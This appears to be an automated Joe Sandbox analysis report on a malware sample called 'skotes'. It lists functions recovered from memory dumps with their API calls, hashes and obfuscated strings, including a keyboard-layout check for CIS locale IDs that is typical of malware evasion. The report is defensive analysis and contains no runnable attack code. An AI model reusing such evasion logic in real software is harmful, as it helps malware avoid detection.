Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: "$246122658369$5120$Fw==$Hykl$V2Te$WGpm$WTw=$WX f$invalid stoi argument$stoi argument out of range
API String ID: 4078500453-1402436090
Opcode ID: 575b9fba6b24c3bcc47d6805acfbed893fcb31fe4f96a38606e534f1f8b5af3c
Instruction ID: d7af33b2914fd8dd368c0a5418a56dca089ef0d432f0b3f2c7b990cf94800cc2
Opcode Fuzzy Hash: 575b9fba6b24c3bcc47d6805acfbed893fcb31fe4f96a38606e534f1f8b5af3c
Instruction Fuzzy Hash: A5722871A00248DBDF18EF78CD867DDBBB5AF45304F54468CE405A7382DB399B84AB92

Function 00F55EE0 Relevance: 14.3, APIs: 3, Strings: 5, Instructions: 340
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,80000001,00000000,000F003F,?), ref: 00F55F13

Strings

0000043f, xrefs: 00F5612B
Keyboard Layout\Preload, xrefs: 00F56054
00000422, xrefs: 00F560C9
00000419, xrefs: 00F56098
00000423, xrefs: 00F560FA

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: Open
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 71445658-3963862150
Opcode ID: 705a6c5d5436d5b791f03af81eb7eb8382e9428a20020831892dba9277f03db5
Instruction ID: 77302723df3ca1fcbf436038f13103747ce0bc68e8da47f2064b95227d040f87
Opcode Fuzzy Hash: 705a6c5d5436d5b791f03af81eb7eb8382e9428a20020831892dba9277f03db5
Instruction Fuzzy Hash: 28D1D171900258ABEB24DF24CC84BDEB779AF05340F5442D8F908E7291DB74AB989F95

Function 00F57D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00F57ED3

Strings

JjssPV==, xrefs: 00F581E2
JjsrQV==, xrefs: 00F58092
JjsrPl==, xrefs: 00F5828A
JjssOl==, xrefs: 00F5813A

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: b6cd19dae7bc6098e60fbede15b1f6b88bbc5a13e8020d7ea363699e6bde259e
Instruction ID: f99e30faa1dca63472b344ce27bd186dd9aea96a43105b8ca5a5a2360abe1265
Opcode Fuzzy Hash: b6cd19dae7bc6098e60fbede15b1f6b88bbc5a13e8020d7ea363699e6bde259e
Instruction Fuzzy Hash: F3E11771E007449BDF14BB68CC5B39E7B61AB41724F94028CE915673C2DB399F89ABC2

Function 00F8D634 Relevance: 1.7, APIs: 1, Instructions: 198
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b04c22e0f3a372d24626854ab7ab8545e854fffc156d62858e75ebc0d3c76be6
Instruction ID: 2f8f34d147b6f25ed818431e249cb7efec73dbdc5ec3cd3bf9b521ea3e48201a
Opcode Fuzzy Hash: b04c22e0f3a372d24626854ab7ab8545e854fffc156d62858e75ebc0d3c76be6
Instruction Fuzzy Hash: E461E572E002188FDF25BFA8D8957EDBBB0EF55320F284116E849AB2D1E7349C00AB51

Function 00F58380 Relevance: 1.7, APIs: 1, Instructions: 159
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?), ref: 00F58524

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 5b8660afedcb0e4d2ffb68ba2d89a904e47c04dcb275efdbba966e57d3902480
Instruction ID: a82b738c86a4cb6b5147437cda7bf7f17dd9f52c0983c3d454bd181fd46fb601
Opcode Fuzzy Hash: 5b8660afedcb0e4d2ffb68ba2d89a904e47c04dcb275efdbba966e57d3902480
Instruction Fuzzy Hash: 9D515770D002089BEB24EB28CD457EEB774EB41325F5442A8ED14B72C1EF349E889BA1

Function 00F8D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00000003,00F8A72D,?,00000000,?,00F86D2C,00F57883,C6D6838A,00F57883), ref: 00F8D871

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 4fb5672370814d7a69e0917a5e565f322af397d88a44bb1126042053f789f755
Instruction ID: f86dab8aeedcdae53839886b0476762a16613a154a48578e6fdd9f4226424277
Opcode Fuzzy Hash: 4fb5672370814d7a69e0917a5e565f322af397d88a44bb1126042053f789f755
Instruction Fuzzy Hash: 3EF08232A4522566EB217A769D05BEB7B59DF857B0B188121ED08AB1C1DB24EC01B7E0

Function 00F8B04B Relevance: 1.5, APIs: 1, Instructions: 33
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,C6D6838A,?,?,00F6D3FC,C6D6838A,?,00F67A8B,?,?,?,?,?,?,00F57465,?), ref: 00F8B07D

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 5310d9891bd961cfead38ee5f76b9153a9614c384cdccdf2b9aa0cb532403317
Instruction ID: 8a27be6bacd99ba4b96697d14636abbab30cb8e127d309c3fdbf09a67ff3a042
Opcode Fuzzy Hash: 5310d9891bd961cfead38ee5f76b9153a9614c384cdccdf2b9aa0cb532403317
Instruction Fuzzy Hash: CAE09236A4522696EB3136B59C40BEFB7489F423F0F691220ED64AA1E1DF55DC00B3E5

Function 00F66C70 Relevance: 1.3, APIs: 1, Instructions: 40sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32 ref: 00F66CF5

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 50554b008eecc72b6fa483c0b890d5dd270cfb73f70ac8e5622964a18526b2aa
Instruction ID: cc97d03d5ef69bf1dd8e7367148cd222f00a7a271e935343b33f33d991263573
Opcode Fuzzy Hash: 50554b008eecc72b6fa483c0b890d5dd270cfb73f70ac8e5622964a18526b2aa
Instruction Fuzzy Hash: FCF0D171A00604ABCA01BB789D06B0EBB74AB07B64F800748E821672E1DA386A046BD3

Function 04E60E3A Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2549205142.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a154fe1903715b76ba8840eef2f7acd44621dd3ab71dd3e2f42cedf896a1381
Instruction ID: 6f3678d48869b67117658fa9864d9a3889f9b7f41b5f7712c4c3a0de9138ffd9
Opcode Fuzzy Hash: 2a154fe1903715b76ba8840eef2f7acd44621dd3ab71dd3e2f42cedf896a1381
Instruction Fuzzy Hash: 67F0A4EB3CC130BDA981C1522B105F66B5DE7E67B1B30D82BF007D6A01F2A96A897031

Function 04E60E3D Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2549205142.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e69feb9661006501669f0e49aa2edd2f396f74412a13095fcd5a1f48b643c849
Instruction ID: 7fdacbf284ccc2ecb86979fb24cda4d1f1238e2ca7f73b73582466fd91625c9d
Opcode Fuzzy Hash: e69feb9661006501669f0e49aa2edd2f396f74412a13095fcd5a1f48b643c849
Instruction Fuzzy Hash: 56F0C2EB3CC130BDA582C1822B105F6671EE7E77B0B30D82BF007C6601F2A92A887031

Function 04E60E8E Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2549205142.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1ae084fbedb43b3bf2a66ee3a50e314a9626c76f4e0544634055ce91cc75872b
Instruction ID: 640555a4a2f9888e95907838e9168ee10592b141b756dd70bf5f7f9fc5ab7c67
Opcode Fuzzy Hash: 1ae084fbedb43b3bf2a66ee3a50e314a9626c76f4e0544634055ce91cc75872b
Instruction Fuzzy Hash: C3F0B4AB3DC231ACD982C16263201F66A56E7A67F0B30F81BF04BD6601B1592A897025

Function 04E60E66 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2549205142.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 512a2c609de2ee2849b16f7c0589cab47f18d0f3bbb99992ae6024aa6676bb90
Instruction ID: 5acf13757cf52d6c9e264c9d66cbb753dd2e9abebd4f64889cfbf5df4ec23395
Opcode Fuzzy Hash: 512a2c609de2ee2849b16f7c0589cab47f18d0f3bbb99992ae6024aa6676bb90
Instruction Fuzzy Hash: 5CE0E59B3CD130ADC982C15627111F67B1AA7B67F0B30E81BF04BD6640B5692A88B121

Function 04E60E81 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2549205142.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e30adf5b110e422d70ece8b9f9ba9e2bcdc162bc27a76b019720dc774e1adc7
Instruction ID: 554bb6842388c72b046038b831ea0735e4a2c288670d00b019026998000da318
Opcode Fuzzy Hash: 6e30adf5b110e422d70ece8b9f9ba9e2bcdc162bc27a76b019720dc774e1adc7
Instruction Fuzzy Hash: ECE0DF9B3CC130EDC982C0A257911F66A1ABBB77F0B34A55BB007DB64076692A88B131

Function 04E60EA1 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2549205142.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bc6752af403ebe1253fb62b8aeecd26864afd94d93b44852a9268226f513d17
Instruction ID: 8583cd6e6960121dbdb6e32f9bcc97e0cbda8e89f9a366d4188abce2c6e62329
Opcode Fuzzy Hash: 4bc6752af403ebe1253fb62b8aeecd26864afd94d93b44852a9268226f513d17
Instruction Fuzzy Hash: DCE0D89729D0306DC582C0A216501F13B5AABB36B1734945BA047D6541B55A1689B131

Function 04E60EC6 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2549205142.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2bb108e74ec70b743fb16520513f81baf87456825104643d94c71da1052daa9
Instruction ID: ac4b476a7f2f552d142e915c2efe5597df14c0a459dd2f54bfb9c470641708fa
Opcode Fuzzy Hash: f2bb108e74ec70b743fb16520513f81baf87456825104643d94c71da1052daa9
Instruction Fuzzy Hash: 3CE0687334D122DFC301F26255411B97A8BAEB32A077994AEF043C7043F656A055B121

Function 04E60EB6 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2549205142.0000000004E60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04E60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_4e60000_skotes.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cf071e9f0a759e3ac011ddd7245dbb51d1bd3be0c866c29ac86750480ba806b
Instruction ID: 29e1dec53f1effa90be39f29c37c768af68b2d28b4f39fdbe6169f309d5a72d0
Opcode Fuzzy Hash: 1cf071e9f0a759e3ac011ddd7245dbb51d1bd3be0c866c29ac86750480ba806b
Instruction Fuzzy Hash: 9CE0C25739D130AEC982C09222551F13A159BF32F2B34E4ABA54383142B8992584F122

Non-executed Functions

Function 00F6CBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,00F6CF52,?,?,?,?,00F6CF87,?,?,?,?,?,?,00F6C4FD,?,00000001), ref: 00F6CC03

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: d871c3b9387d591ec364db288ca6e7e3549331e99769bd0b0933f4af633ff2dc
Instruction ID: 003a34140c01842bf8d7b33a45d1d9376758403c0d8f3f05253185e447d04326
Opcode Fuzzy Hash: d871c3b9387d591ec364db288ca6e7e3549331e99769bd0b0933f4af633ff2dc
Instruction Fuzzy Hash: 5AD02232B0213CA3CA022B84EC00ABCBB888F01B247050212EE8863120CF126C007BD0

Function 00F8652B Relevance: .0, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dec2f11be46eb6d5ab4cd318fd2af37791a9d92c3e3f1827e7aef898f9c2ba44
Instruction ID: eff3490b5a530bde14d12f7dfbc10ae8b3ee08c2c0b744ca78fa23028c92a04c
Opcode Fuzzy Hash: dec2f11be46eb6d5ab4cd318fd2af37791a9d92c3e3f1827e7aef898f9c2ba44
Instruction Fuzzy Hash: 38E086308411086ECF357B14CD599C83B59EB42755F145810FD148A232CB29ED41E780

Function 00F8A302 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000010.00000002.2525480589.0000000000F51000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00F50000, based on PE: true

Associated: 00000010.00000002.2525112700.0000000000F50000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2525480589.0000000000FB2000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526703281.0000000000FB9000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000000FBB000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000113C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001218000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.0000000001245000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000124D000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2526978599.000000000125C000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2530996645.000000000125D000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532487050.00000000013F6000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000010.00000002.2532756100.00000000013F8000.00000080.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_f50000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
